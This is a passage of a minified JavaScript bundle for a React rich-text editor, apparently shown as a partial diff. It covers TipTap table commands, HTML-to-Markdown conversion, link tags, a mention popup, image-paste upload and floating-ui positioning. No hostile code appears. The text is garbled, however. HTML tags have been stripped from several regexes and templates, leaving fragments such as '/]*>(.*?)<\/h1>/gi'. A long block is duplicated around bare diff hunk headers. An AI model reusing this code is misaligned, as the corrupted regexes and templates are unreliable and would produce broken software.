".repeat(Math.max(0,w-N.length)),h=i[0],f=h.some(N=>N.isHeader);let m=` `;const g=new Array(o).fill(0).map((N,w)=>f&&h[w]&&h[w].text||"");return m+=`| ${g.map((N,w)=>u(N,c[w])).join(" | ")} | `,m+=`| ${c.map(N=>"-".repeat(Math.max(3,N))).join(" | ")} | `,(f?i.slice(1):i).forEach(N=>{m+=`| ${new Array(o).fill(0).map((w,v)=>u(N[v]&&N[v].text||"",c[v])).join(" | ")} | -`}),m}var K$=U$,FC=Cn.create({name:"table",addOptions(){return{HTMLAttributes:{},resizable:!1,renderWrapper:!1,handleWidth:5,cellMinWidth:25,View:z$,lastColumnResizable:!0,allowTableNodeSelection:!1}},content:"tableRow+",tableRole:"table",isolating:!0,group:"block",parseHTML(){return[{tag:"table"}]},renderHTML({node:t,HTMLAttributes:e}){const{colgroup:n,tableWidth:r,tableMinWidth:a}=$$(t,this.options.cellMinWidth),i=e.style;function o(){return i||(r?`width: ${r}`:`min-width: ${a}`)}const c=["table",St(this.options.HTMLAttributes,e,{style:o()}),n,["tbody",0]];return this.options.renderWrapper?["div",{class:"tableWrapper"},c]:c},parseMarkdown:(t,e)=>{const n=[];if(t.header){const r=[];t.header.forEach(a=>{r.push(e.createNode("tableHeader",{},[{type:"paragraph",content:e.parseInline(a.tokens)}]))}),n.push(e.createNode("tableRow",{},r))}return t.rows&&t.rows.forEach(r=>{const a=[];r.forEach(i=>{a.push(e.createNode("tableCell",{},[{type:"paragraph",content:e.parseInline(i.tokens)}]))}),n.push(e.createNode("tableRow",{},a))}),e.createNode("table",void 0,n)},renderMarkdown:(t,e)=>K$(t,e),addCommands(){return{insertTable:({rows:t=3,cols:e=3,withHeaderRow:n=!0}={})=>({tr:r,dispatch:a,editor:i})=>{const o=B$(i.schema,t,e,n);if(a){const c=r.selection.from+1;r.replaceSelectionWith(o).scrollIntoView().setSelection(Ze.near(r.doc.resolve(c)))}return!0},addColumnBefore:()=>({state:t,dispatch:e})=>n$(t,e),addColumnAfter:()=>({state:t,dispatch:e})=>r$(t,e),deleteColumn:()=>({state:t,dispatch:e})=>a$(t,e),addRowBefore:()=>({state:t,dispatch:e})=>o$(t,e),addRowAfter:()=>({state:t,dispatch:e})=>l$(t,e),deleteRow:()=>({state:t,dispatch:e})=>d$(t,e),deleteTable:()=>({state:t,dispatch:e})=>x$(t,e),mergeCells:()=>({state:t,dispatch:e})=>qN(t,e),splitCell:()=>({state:t,dispatch:e})=>GN(t,e),toggleHeaderColumn:()=>({state:t,dispatch:e})=>hd("column")(t,e),toggleHeaderRow:()=>({state:t,dispatch:e})=>hd("row")(t,e),toggleHeaderCell:()=>({state:t,dispatch:e})=>m$(t,e),mergeOrSplit:()=>({state:t,dispatch:e})=>qN(t,e)?!0:GN(t,e),setCellAttribute:(t,e)=>({state:n,dispatch:r})=>f$(t,e)(n,r),goToNextCell:()=>({state:t,dispatch:e})=>YN(1)(t,e),goToPreviousCell:()=>({state:t,dispatch:e})=>YN(-1)(t,e),fixTables:()=>({state:t,dispatch:e})=>(e&&RC(t),!0),setCellSelection:t=>({tr:e,dispatch:n})=>{if(n){const r=Ut.create(e.doc,t.anchorCell,t.headCell);e.setSelection(r)}return!0}}},addKeyboardShortcuts(){return{Tab:()=>this.editor.commands.goToNextCell()?!0:this.editor.can().addRowAfter()?this.editor.chain().addRowAfter().goToNextCell().run():!1,"Shift-Tab":()=>this.editor.commands.goToPreviousCell(),Backspace:Yu,"Mod-Backspace":Yu,Delete:Yu,"Mod-Delete":Yu}},addProseMirrorPlugins(){return[...this.options.resizable&&this.editor.isEditable?[E$({handleWidth:this.options.handleWidth,cellMinWidth:this.options.cellMinWidth,defaultCellMinWidth:this.options.cellMinWidth,View:this.options.View,lastColumnResizable:this.options.lastColumnResizable})]:[],_$({allowTableNodeSelection:this.options.allowTableNodeSelection})]},extendNodeSchema(t){const e={name:t.name,options:t.options,storage:t.storage};return{tableRole:jt(Ue(t,"tableRole",e))}}});mn.create({name:"tableKit",addExtensions(){const t=[];return this.options.table!==!1&&t.push(FC.configure(this.options.table)),this.options.tableCell!==!1&&t.push(_C.configure(this.options.tableCell)),this.options.tableHeader!==!1&&t.push(zC.configure(this.options.tableHeader)),this.options.tableRow!==!1&&t.push($C.configure(this.options.tableRow)),t}});function q$(t){if(!t)return"";let e=t;return e=e.replace(/]*>(.*?)<\/h1>/gi,`# $1 +`}),m}var K$=U$,FC=Cn.create({name:"table",addOptions(){return{HTMLAttributes:{},resizable:!1,renderWrapper:!1,handleWidth:5,cellMinWidth:25,View:z$,lastColumnResizable:!0,allowTableNodeSelection:!1}},content:"tableRow+",tableRole:"table",isolating:!0,group:"block",parseHTML(){return[{tag:"table"}]},renderHTML({node:t,HTMLAttributes:e}){const{colgroup:n,tableWidth:r,tableMinWidth:a}=$$(t,this.options.cellMinWidth),i=e.style;function o(){return i||(r?`width: ${r}`:`min-width: ${a}`)}const c=["table",St(this.options.HTMLAttributes,e,{style:o()}),n,["tbody",0]];return this.options.renderWrapper?["div",{class:"tableWrapper"},c]:c},parseMarkdown:(t,e)=>{const n=[];if(t.header){const r=[];t.header.forEach(a=>{r.push(e.createNode("tableHeader",{},[{type:"paragraph",content:e.parseInline(a.tokens)}]))}),n.push(e.createNode("tableRow",{},r))}return t.rows&&t.rows.forEach(r=>{const a=[];r.forEach(i=>{a.push(e.createNode("tableCell",{},[{type:"paragraph",content:e.parseInline(i.tokens)}]))}),n.push(e.createNode("tableRow",{},a))}),e.createNode("table",void 0,n)},renderMarkdown:(t,e)=>K$(t,e),addCommands(){return{insertTable:({rows:t=3,cols:e=3,withHeaderRow:n=!0}={})=>({tr:r,dispatch:a,editor:i})=>{const o=B$(i.schema,t,e,n);if(a){const c=r.selection.from+1;r.replaceSelectionWith(o).scrollIntoView().setSelection(Ze.near(r.doc.resolve(c)))}return!0},addColumnBefore:()=>({state:t,dispatch:e})=>n$(t,e),addColumnAfter:()=>({state:t,dispatch:e})=>r$(t,e),deleteColumn:()=>({state:t,dispatch:e})=>a$(t,e),addRowBefore:()=>({state:t,dispatch:e})=>o$(t,e),addRowAfter:()=>({state:t,dispatch:e})=>l$(t,e),deleteRow:()=>({state:t,dispatch:e})=>d$(t,e),deleteTable:()=>({state:t,dispatch:e})=>x$(t,e),mergeCells:()=>({state:t,dispatch:e})=>qN(t,e),splitCell:()=>({state:t,dispatch:e})=>GN(t,e),toggleHeaderColumn:()=>({state:t,dispatch:e})=>hd("column")(t,e),toggleHeaderRow:()=>({state:t,dispatch:e})=>hd("row")(t,e),toggleHeaderCell:()=>({state:t,dispatch:e})=>m$(t,e),mergeOrSplit:()=>({state:t,dispatch:e})=>qN(t,e)?!0:GN(t,e),setCellAttribute:(t,e)=>({state:n,dispatch:r})=>f$(t,e)(n,r),goToNextCell:()=>({state:t,dispatch:e})=>YN(1)(t,e),goToPreviousCell:()=>({state:t,dispatch:e})=>YN(-1)(t,e),fixTables:()=>({state:t,dispatch:e})=>(e&&RC(t),!0),setCellSelection:t=>({tr:e,dispatch:n})=>{if(n){const r=Ut.create(e.doc,t.anchorCell,t.headCell);e.setSelection(r)}return!0}}},addKeyboardShortcuts(){return{Tab:()=>this.editor.commands.goToNextCell()?!0:this.editor.can().addRowAfter()?this.editor.chain().addRowAfter().goToNextCell().run():!1,"Shift-Tab":()=>this.editor.commands.goToPreviousCell(),Backspace:Yu,"Mod-Backspace":Yu,Delete:Yu,"Mod-Delete":Yu}},addProseMirrorPlugins(){return[...this.options.resizable&&this.editor.isEditable?[E$({handleWidth:this.options.handleWidth,cellMinWidth:this.options.cellMinWidth,defaultCellMinWidth:this.options.cellMinWidth,View:this.options.View,lastColumnResizable:this.options.lastColumnResizable})]:[],_$({allowTableNodeSelection:this.options.allowTableNodeSelection})]},extendNodeSchema(t){const e={name:t.name,options:t.options,storage:t.storage};return{tableRole:jt(Ke(t,"tableRole",e))}}});mn.create({name:"tableKit",addExtensions(){const t=[];return this.options.table!==!1&&t.push(FC.configure(this.options.table)),this.options.tableCell!==!1&&t.push(_C.configure(this.options.tableCell)),this.options.tableHeader!==!1&&t.push(zC.configure(this.options.tableHeader)),this.options.tableRow!==!1&&t.push($C.configure(this.options.tableRow)),t}});function q$(t){if(!t)return"";let e=t;return e=e.replace(/]*>(.*?)<\/h1>/gi,`# $1 `),e=e.replace(/]*>(.*?)<\/h2>/gi,`## $1 @@ -772,7 +772,7 @@ ${y.slice(h+2)}`,m+=1;else break}e.push({indent:h,number:parseInt(c,10),content: `),r=[];for(const a of n){const i=a.trim();i&&(/^<(?:h[1-6]|blockquote|hr|li|ul|ol|table|img)/.test(i)?r.push(i):r.push(`

${i}

`))}return r.join("")}const G$=Cn.create({name:"linkTag",group:"inline",inline:!0,selectable:!0,atom:!0,addAttributes(){return{label:{default:""},url:{default:""},tagType:{default:"url",parseHTML:t=>t.getAttribute("data-tag-type")||"url"},tagId:{default:"",parseHTML:t=>t.getAttribute("data-tag-id")||""},pagePath:{default:"",parseHTML:t=>t.getAttribute("data-page-path")||""},appId:{default:"",parseHTML:t=>t.getAttribute("data-app-id")||""},mpKey:{default:"",parseHTML:t=>t.getAttribute("data-mp-key")||""}}},parseHTML(){return[{tag:'span[data-type="linkTag"]',getAttrs:t=>{var e;return{label:((e=t.textContent)==null?void 0:e.replace(/^#/,"").trim())||"",url:t.getAttribute("data-url")||"",tagType:t.getAttribute("data-tag-type")||"url",tagId:t.getAttribute("data-tag-id")||"",pagePath:t.getAttribute("data-page-path")||"",appId:t.getAttribute("data-app-id")||"",mpKey:t.getAttribute("data-mp-key")||""}}}]},renderHTML({node:t,HTMLAttributes:e}){return["span",St(e,{"data-type":"linkTag","data-url":t.attrs.url,"data-tag-type":t.attrs.tagType,"data-tag-id":t.attrs.tagId,"data-page-path":t.attrs.pagePath,"data-app-id":t.attrs.appId||"","data-mp-key":t.attrs.mpKey||t.attrs.appId||"",class:"link-tag-node"}),`#${t.attrs.label}`]}});function ow(t){const e=document.createElement("div");return e.textContent=t,e.innerHTML}const J$=t=>({items:({query:e})=>t.filter(n=>n.name.toLowerCase().includes(e.toLowerCase())||n.id.includes(e)).slice(0,8),render:()=>{let e=null,n=0,r=[],a=null;const i=()=>{e&&(e.innerHTML=r.map((o,c)=>`
@${ow(o.name)} ${ow(o.label||o.id)} -
`).join(""),e.querySelectorAll(".mention-item").forEach(o=>{o.addEventListener("click",()=>{const c=parseInt(o.getAttribute("data-index")||"0");a&&r[c]&&a({id:r[c].id,label:r[c].name})})}))};return{onStart:o=>{if(e=document.createElement("div"),e.className="mention-popup",document.body.appendChild(e),r=o.items,a=o.command,n=0,i(),o.clientRect){const c=o.clientRect();c&&(e.style.top=`${c.bottom+4}px`,e.style.left=`${c.left}px`)}},onUpdate:o=>{if(r=o.items,a=o.command,n=0,i(),o.clientRect&&e){const c=o.clientRect();c&&(e.style.top=`${c.bottom+4}px`,e.style.left=`${c.left}px`)}},onKeyDown:o=>o.event.key==="ArrowUp"?(n=Math.max(0,n-1),i(),!0):o.event.key==="ArrowDown"?(n=Math.min(r.length-1,n+1),i(),!0):o.event.key==="Enter"?(a&&r[n]&&a({id:r[n].id,label:r[n].name}),!0):o.event.key==="Escape"?(e==null||e.remove(),e=null,!0):!1,onExit:()=>{e==null||e.remove(),e=null}}}});function Y$(t){var r;const e=[],n=(r=t.clipboardData)==null?void 0:r.items;if(!n)return e;for(let a=0;a{const u=b.useRef(null),h=b.useRef(null),[f,m]=b.useState(""),[g,y]=b.useState(!1),N=b.useRef(iw(t)),w=b.useCallback((T,I)=>{var D;const O=h.current;if(!O||!n)return!1;const L=Y$(I);if(L.length>0)return I.preventDefault(),(async()=>{for(const _ of L)try{const Z=await n(_);Z&&O.chain().focus().setImage({src:Z}).run()}catch(Z){console.error("粘贴图片上传失败",Z)}})(),!0;const R=(D=I.clipboardData)==null?void 0:D.getData("text/html");if(R&&/data:image\/[^;"']+;base64,/i.test(R)){I.preventDefault();const{from:_,to:Z}=O.state.selection;return(async()=>{try{const ne=await Z$(R,n);O.chain().focus().insertContentAt({from:_,to:Z},ne).run()}catch(ne){console.error("粘贴 HTML 内 base64 转换失败",ne)}})(),!0}return!1},[n]),v=H_({extensions:[Az.configure({link:{openOnClick:!1,HTMLAttributes:{class:"rich-link"}}}),Pz.configure({inline:!0,allowBase64:!0}),$z.configure({HTMLAttributes:{class:"mention-tag"},suggestion:J$(r)}),G$,Fz.configure({placeholder:i}),FC.configure({resizable:!0}),$C,_C,zC],content:N.current,onUpdate:({editor:T})=>{e(T.getHTML())},editorProps:{attributes:{class:"rich-editor-content"},handlePaste:w}});b.useEffect(()=>{h.current=v??null},[v]),b.useImperativeHandle(c,()=>({getHTML:()=>(v==null?void 0:v.getHTML())||"",getMarkdown:()=>q$((v==null?void 0:v.getHTML())||"")})),b.useEffect(()=>{if(v&&t!==v.getHTML()){const T=iw(t);T!==v.getHTML()&&v.commands.setContent(T)}},[t]);const k=b.useCallback(async T=>{var O;const I=(O=T.target.files)==null?void 0:O[0];if(!(!I||!v)){if(n){const L=await n(I);L&&v.chain().focus().setImage({src:L}).run()}else{const L=new FileReader;L.onload=()=>{typeof L.result=="string"&&v.chain().focus().setImage({src:L.result}).run()},L.readAsDataURL(I)}T.target.value=""}},[v,n]),C=b.useCallback(T=>{v&&v.chain().focus().insertContent({type:"linkTag",attrs:{label:T.label,url:T.url||"",tagType:T.type||"url",tagId:T.id||"",pagePath:T.pagePath||"",appId:T.appId||"",mpKey:T.type==="miniprogram"&&T.appId||""}}).run()},[v]),E=b.useCallback(()=>{!v||!f||(v.chain().focus().setLink({href:f}).run(),m(""),y(!1))},[v,f]);return v?s.jsxs("div",{className:`rich-editor-wrapper ${o||""}`,children:[s.jsxs("div",{className:"rich-editor-toolbar",children:[s.jsxs("div",{className:"toolbar-group",children:[s.jsx("button",{onClick:()=>v.chain().focus().toggleBold().run(),className:v.isActive("bold")?"is-active":"",type:"button",children:s.jsx(VT,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleItalic().run(),className:v.isActive("italic")?"is-active":"",type:"button",children:s.jsx(FM,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleStrike().run(),className:v.isActive("strike")?"is-active":"",type:"button",children:s.jsx(LA,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleCode().run(),className:v.isActive("code")?"is-active":"",type:"button",children:s.jsx(lM,{className:"w-4 h-4"})})]}),s.jsx("div",{className:"toolbar-divider"}),s.jsxs("div",{className:"toolbar-group",children:[s.jsx("button",{onClick:()=>v.chain().focus().toggleHeading({level:1}).run(),className:v.isActive("heading",{level:1})?"is-active":"",type:"button",children:s.jsx(AM,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleHeading({level:2}).run(),className:v.isActive("heading",{level:2})?"is-active":"",type:"button",children:s.jsx(RM,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleHeading({level:3}).run(),className:v.isActive("heading",{level:3})?"is-active":"",type:"button",children:s.jsx(OM,{className:"w-4 h-4"})})]}),s.jsx("div",{className:"toolbar-divider"}),s.jsxs("div",{className:"toolbar-group",children:[s.jsx("button",{onClick:()=>v.chain().focus().toggleBulletList().run(),className:v.isActive("bulletList")?"is-active":"",type:"button",children:s.jsx(JM,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleOrderedList().run(),className:v.isActive("orderedList")?"is-active":"",type:"button",children:s.jsx(qM,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleBlockquote().run(),className:v.isActive("blockquote")?"is-active":"",type:"button",children:s.jsx(NA,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().setHorizontalRule().run(),type:"button",children:s.jsx(iA,{className:"w-4 h-4"})})]}),s.jsx("div",{className:"toolbar-divider"}),s.jsxs("div",{className:"toolbar-group",children:[s.jsx("input",{ref:u,type:"file",accept:"image/*",onChange:k,className:"hidden"}),s.jsx("button",{onClick:()=>{var T;return(T=u.current)==null?void 0:T.click()},type:"button",children:s.jsx(Zw,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>y(!g),className:v.isActive("link")?"is-active":"",type:"button",children:s.jsx(Pg,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().insertTable({rows:3,cols:3,withHeaderRow:!0}).run(),type:"button",children:s.jsx(zA,{className:"w-4 h-4"})})]}),s.jsx("div",{className:"toolbar-divider"}),s.jsxs("div",{className:"toolbar-group",children:[s.jsx("button",{onClick:()=>v.chain().focus().undo().run(),disabled:!v.can().undo(),type:"button",children:s.jsx(UA,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().redo().run(),disabled:!v.can().redo(),type:"button",children:s.jsx(jA,{className:"w-4 h-4"})})]}),a.length>0&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"toolbar-divider"}),s.jsx("div",{className:"toolbar-group",children:s.jsxs("select",{className:"link-tag-select",onChange:T=>{const I=a.find(O=>O.id===T.target.value);I&&C(I),T.target.value=""},defaultValue:"",children:[s.jsx("option",{value:"",disabled:!0,children:"# 插入链接标签"}),a.map(T=>s.jsx("option",{value:T.id,children:T.label},T.id))]})})]})]}),g&&s.jsxs("div",{className:"link-input-bar",children:[s.jsx("input",{type:"url",placeholder:"输入链接地址...",value:f,onChange:T=>m(T.target.value),onKeyDown:T=>T.key==="Enter"&&E(),className:"link-input"}),s.jsx("button",{onClick:E,className:"link-confirm",type:"button",children:"确定"}),s.jsx("button",{onClick:()=>{v.chain().focus().unsetLink().run(),y(!1)},className:"link-remove",type:"button",children:"移除"})]}),s.jsx(Q2,{editor:v})]}):null});Ex.displayName="RichEditor";const eF=["top","right","bottom","left"],wi=Math.min,zr=Math.max,af=Math.round,Qu=Math.floor,Ws=t=>({x:t,y:t}),tF={left:"right",right:"left",bottom:"top",top:"bottom"},nF={start:"end",end:"start"};function Tx(t,e,n){return zr(t,wi(e,n))}function Sa(t,e){return typeof t=="function"?t(e):t}function Ca(t){return t.split("-")[0]}function Fl(t){return t.split("-")[1]}function G0(t){return t==="x"?"y":"x"}function J0(t){return t==="y"?"height":"width"}const rF=new Set(["top","bottom"]);function Hs(t){return rF.has(Ca(t))?"y":"x"}function Y0(t){return G0(Hs(t))}function sF(t,e,n){n===void 0&&(n=!1);const r=Fl(t),a=Y0(t),i=J0(a);let o=a==="x"?r===(n?"end":"start")?"right":"left":r==="start"?"bottom":"top";return e.reference[i]>e.floating[i]&&(o=of(o)),[o,of(o)]}function aF(t){const e=of(t);return[Mx(t),e,Mx(e)]}function Mx(t){return t.replace(/start|end/g,e=>nF[e])}const lw=["left","right"],cw=["right","left"],iF=["top","bottom"],oF=["bottom","top"];function lF(t,e,n){switch(t){case"top":case"bottom":return n?e?cw:lw:e?lw:cw;case"left":case"right":return e?iF:oF;default:return[]}}function cF(t,e,n,r){const a=Fl(t);let i=lF(Ca(t),n==="start",r);return a&&(i=i.map(o=>o+"-"+a),e&&(i=i.concat(i.map(Mx)))),i}function of(t){return t.replace(/left|right|bottom|top/g,e=>tF[e])}function dF(t){return{top:0,right:0,bottom:0,left:0,...t}}function BC(t){return typeof t!="number"?dF(t):{top:t,right:t,bottom:t,left:t}}function lf(t){const{x:e,y:n,width:r,height:a}=t;return{width:r,height:a,top:n,left:e,right:e+r,bottom:n+a,x:e,y:n}}function dw(t,e,n){let{reference:r,floating:a}=t;const i=Hs(e),o=Y0(e),c=J0(o),u=Ca(e),h=i==="y",f=r.x+r.width/2-a.width/2,m=r.y+r.height/2-a.height/2,g=r[c]/2-a[c]/2;let y;switch(u){case"top":y={x:f,y:r.y-a.height};break;case"bottom":y={x:f,y:r.y+r.height};break;case"right":y={x:r.x+r.width,y:m};break;case"left":y={x:r.x-a.width,y:m};break;default:y={x:r.x,y:r.y}}switch(Fl(e)){case"start":y[o]-=g*(n&&h?-1:1);break;case"end":y[o]+=g*(n&&h?-1:1);break}return y}async function uF(t,e){var n;e===void 0&&(e={});const{x:r,y:a,platform:i,rects:o,elements:c,strategy:u}=t,{boundary:h="clippingAncestors",rootBoundary:f="viewport",elementContext:m="floating",altBoundary:g=!1,padding:y=0}=Sa(e,t),N=BC(y),v=c[g?m==="floating"?"reference":"floating":m],k=lf(await i.getClippingRect({element:(n=await(i.isElement==null?void 0:i.isElement(v)))==null||n?v:v.contextElement||await(i.getDocumentElement==null?void 0:i.getDocumentElement(c.floating)),boundary:h,rootBoundary:f,strategy:u})),C=m==="floating"?{x:r,y:a,width:o.floating.width,height:o.floating.height}:o.reference,E=await(i.getOffsetParent==null?void 0:i.getOffsetParent(c.floating)),T=await(i.isElement==null?void 0:i.isElement(E))?await(i.getScale==null?void 0:i.getScale(E))||{x:1,y:1}:{x:1,y:1},I=lf(i.convertOffsetParentRelativeRectToViewportRelativeRect?await i.convertOffsetParentRelativeRectToViewportRelativeRect({elements:c,rect:C,offsetParent:E,strategy:u}):C);return{top:(k.top-I.top+N.top)/T.y,bottom:(I.bottom-k.bottom+N.bottom)/T.y,left:(k.left-I.left+N.left)/T.x,right:(I.right-k.right+N.right)/T.x}}const hF=async(t,e,n)=>{const{placement:r="bottom",strategy:a="absolute",middleware:i=[],platform:o}=n,c=i.filter(Boolean),u=await(o.isRTL==null?void 0:o.isRTL(e));let h=await o.getElementRects({reference:t,floating:e,strategy:a}),{x:f,y:m}=dw(h,r,u),g=r,y={},N=0;for(let v=0;v({name:"arrow",options:t,async fn(e){const{x:n,y:r,placement:a,rects:i,platform:o,elements:c,middlewareData:u}=e,{element:h,padding:f=0}=Sa(t,e)||{};if(h==null)return{};const m=BC(f),g={x:n,y:r},y=Y0(a),N=J0(y),w=await o.getDimensions(h),v=y==="y",k=v?"top":"left",C=v?"bottom":"right",E=v?"clientHeight":"clientWidth",T=i.reference[N]+i.reference[y]-g[y]-i.floating[N],I=g[y]-i.reference[y],O=await(o.getOffsetParent==null?void 0:o.getOffsetParent(h));let L=O?O[E]:0;(!L||!await(o.isElement==null?void 0:o.isElement(O)))&&(L=c.floating[E]||i.floating[N]);const R=T/2-I/2,D=L/2-w[N]/2-1,_=wi(m[k],D),Z=wi(m[C],D),ne=_,fe=L-w[N]-Z,xe=L/2-w[N]/2+R,$=Tx(ne,xe,fe),H=!u.arrow&&Fl(a)!=null&&xe!==$&&i.reference[N]/2-(xexe<=0)){var Z,ne;const xe=(((Z=i.flip)==null?void 0:Z.index)||0)+1,$=L[xe];if($&&(!(m==="alignment"?C!==Hs($):!1)||_.every(P=>Hs(P.placement)===C?P.overflows[0]>0:!0)))return{data:{index:xe,overflows:_},reset:{placement:$}};let H=(ne=_.filter(oe=>oe.overflows[0]<=0).sort((oe,P)=>oe.overflows[1]-P.overflows[1])[0])==null?void 0:ne.placement;if(!H)switch(y){case"bestFit":{var fe;const oe=(fe=_.filter(P=>{if(O){const K=Hs(P.placement);return K===C||K==="y"}return!0}).map(P=>[P.placement,P.overflows.filter(K=>K>0).reduce((K,V)=>K+V,0)]).sort((P,K)=>P[1]-K[1])[0])==null?void 0:fe[0];oe&&(H=oe);break}case"initialPlacement":H=c;break}if(a!==H)return{reset:{placement:H}}}return{}}}};function uw(t,e){return{top:t.top-e.height,right:t.right-e.width,bottom:t.bottom-e.height,left:t.left-e.width}}function hw(t){return eF.some(e=>t[e]>=0)}const mF=function(t){return t===void 0&&(t={}),{name:"hide",options:t,async fn(e){const{rects:n,platform:r}=e,{strategy:a="referenceHidden",...i}=Sa(t,e);switch(a){case"referenceHidden":{const o=await r.detectOverflow(e,{...i,elementContext:"reference"}),c=uw(o,n.reference);return{data:{referenceHiddenOffsets:c,referenceHidden:hw(c)}}}case"escaped":{const o=await r.detectOverflow(e,{...i,altBoundary:!0}),c=uw(o,n.floating);return{data:{escapedOffsets:c,escaped:hw(c)}}}default:return{}}}}},VC=new Set(["left","top"]);async function gF(t,e){const{placement:n,platform:r,elements:a}=t,i=await(r.isRTL==null?void 0:r.isRTL(a.floating)),o=Ca(n),c=Fl(n),u=Hs(n)==="y",h=VC.has(o)?-1:1,f=i&&u?-1:1,m=Sa(e,t);let{mainAxis:g,crossAxis:y,alignmentAxis:N}=typeof m=="number"?{mainAxis:m,crossAxis:0,alignmentAxis:null}:{mainAxis:m.mainAxis||0,crossAxis:m.crossAxis||0,alignmentAxis:m.alignmentAxis};return c&&typeof N=="number"&&(y=c==="end"?N*-1:N),u?{x:y*f,y:g*h}:{x:g*h,y:y*f}}const xF=function(t){return t===void 0&&(t=0),{name:"offset",options:t,async fn(e){var n,r;const{x:a,y:i,placement:o,middlewareData:c}=e,u=await gF(e,t);return o===((n=c.offset)==null?void 0:n.placement)&&(r=c.arrow)!=null&&r.alignmentOffset?{}:{x:a+u.x,y:i+u.y,data:{...u,placement:o}}}}},yF=function(t){return t===void 0&&(t={}),{name:"shift",options:t,async fn(e){const{x:n,y:r,placement:a,platform:i}=e,{mainAxis:o=!0,crossAxis:c=!1,limiter:u={fn:k=>{let{x:C,y:E}=k;return{x:C,y:E}}},...h}=Sa(t,e),f={x:n,y:r},m=await i.detectOverflow(e,h),g=Hs(Ca(a)),y=G0(g);let N=f[y],w=f[g];if(o){const k=y==="y"?"top":"left",C=y==="y"?"bottom":"right",E=N+m[k],T=N-m[C];N=Tx(E,N,T)}if(c){const k=g==="y"?"top":"left",C=g==="y"?"bottom":"right",E=w+m[k],T=w-m[C];w=Tx(E,w,T)}const v=u.fn({...e,[y]:N,[g]:w});return{...v,data:{x:v.x-n,y:v.y-r,enabled:{[y]:o,[g]:c}}}}}},bF=function(t){return t===void 0&&(t={}),{options:t,fn(e){const{x:n,y:r,placement:a,rects:i,middlewareData:o}=e,{offset:c=0,mainAxis:u=!0,crossAxis:h=!0}=Sa(t,e),f={x:n,y:r},m=Hs(a),g=G0(m);let y=f[g],N=f[m];const w=Sa(c,e),v=typeof w=="number"?{mainAxis:w,crossAxis:0}:{mainAxis:0,crossAxis:0,...w};if(u){const E=g==="y"?"height":"width",T=i.reference[g]-i.floating[E]+v.mainAxis,I=i.reference[g]+i.reference[E]-v.mainAxis;yI&&(y=I)}if(h){var k,C;const E=g==="y"?"width":"height",T=VC.has(Ca(a)),I=i.reference[m]-i.floating[E]+(T&&((k=o.offset)==null?void 0:k[m])||0)+(T?0:v.crossAxis),O=i.reference[m]+i.reference[E]+(T?0:((C=o.offset)==null?void 0:C[m])||0)-(T?v.crossAxis:0);NO&&(N=O)}return{[g]:y,[m]:N}}}},vF=function(t){return t===void 0&&(t={}),{name:"size",options:t,async fn(e){var n,r;const{placement:a,rects:i,platform:o,elements:c}=e,{apply:u=()=>{},...h}=Sa(t,e),f=await o.detectOverflow(e,h),m=Ca(a),g=Fl(a),y=Hs(a)==="y",{width:N,height:w}=i.floating;let v,k;m==="top"||m==="bottom"?(v=m,k=g===(await(o.isRTL==null?void 0:o.isRTL(c.floating))?"start":"end")?"left":"right"):(k=m,v=g==="end"?"top":"bottom");const C=w-f.top-f.bottom,E=N-f.left-f.right,T=wi(w-f[v],C),I=wi(N-f[k],E),O=!e.middlewareData.shift;let L=T,R=I;if((n=e.middlewareData.shift)!=null&&n.enabled.x&&(R=E),(r=e.middlewareData.shift)!=null&&r.enabled.y&&(L=C),O&&!g){const _=zr(f.left,0),Z=zr(f.right,0),ne=zr(f.top,0),fe=zr(f.bottom,0);y?R=N-2*(_!==0||Z!==0?_+Z:zr(f.left,f.right)):L=w-2*(ne!==0||fe!==0?ne+fe:zr(f.top,f.bottom))}await u({...e,availableWidth:R,availableHeight:L});const D=await o.getDimensions(c.floating);return N!==D.width||w!==D.height?{reset:{rects:!0}}:{}}}};function $f(){return typeof window<"u"}function Bl(t){return HC(t)?(t.nodeName||"").toLowerCase():"#document"}function Hr(t){var e;return(t==null||(e=t.ownerDocument)==null?void 0:e.defaultView)||window}function Ys(t){var e;return(e=(HC(t)?t.ownerDocument:t.document)||window.document)==null?void 0:e.documentElement}function HC(t){return $f()?t instanceof Node||t instanceof Hr(t).Node:!1}function Cs(t){return $f()?t instanceof Element||t instanceof Hr(t).Element:!1}function Gs(t){return $f()?t instanceof HTMLElement||t instanceof Hr(t).HTMLElement:!1}function fw(t){return!$f()||typeof ShadowRoot>"u"?!1:t instanceof ShadowRoot||t instanceof Hr(t).ShadowRoot}const NF=new Set(["inline","contents"]);function jd(t){const{overflow:e,overflowX:n,overflowY:r,display:a}=Es(t);return/auto|scroll|overlay|hidden|clip/.test(e+r+n)&&!NF.has(a)}const wF=new Set(["table","td","th"]);function jF(t){return wF.has(Bl(t))}const kF=[":popover-open",":modal"];function Ff(t){return kF.some(e=>{try{return t.matches(e)}catch{return!1}})}const SF=["transform","translate","scale","rotate","perspective"],CF=["transform","translate","scale","rotate","perspective","filter"],EF=["paint","layout","strict","content"];function Q0(t){const e=X0(),n=Cs(t)?Es(t):t;return SF.some(r=>n[r]?n[r]!=="none":!1)||(n.containerType?n.containerType!=="normal":!1)||!e&&(n.backdropFilter?n.backdropFilter!=="none":!1)||!e&&(n.filter?n.filter!=="none":!1)||CF.some(r=>(n.willChange||"").includes(r))||EF.some(r=>(n.contain||"").includes(r))}function TF(t){let e=ji(t);for(;Gs(e)&&!Il(e);){if(Q0(e))return e;if(Ff(e))return null;e=ji(e)}return null}function X0(){return typeof CSS>"u"||!CSS.supports?!1:CSS.supports("-webkit-backdrop-filter","none")}const MF=new Set(["html","body","#document"]);function Il(t){return MF.has(Bl(t))}function Es(t){return Hr(t).getComputedStyle(t)}function Bf(t){return 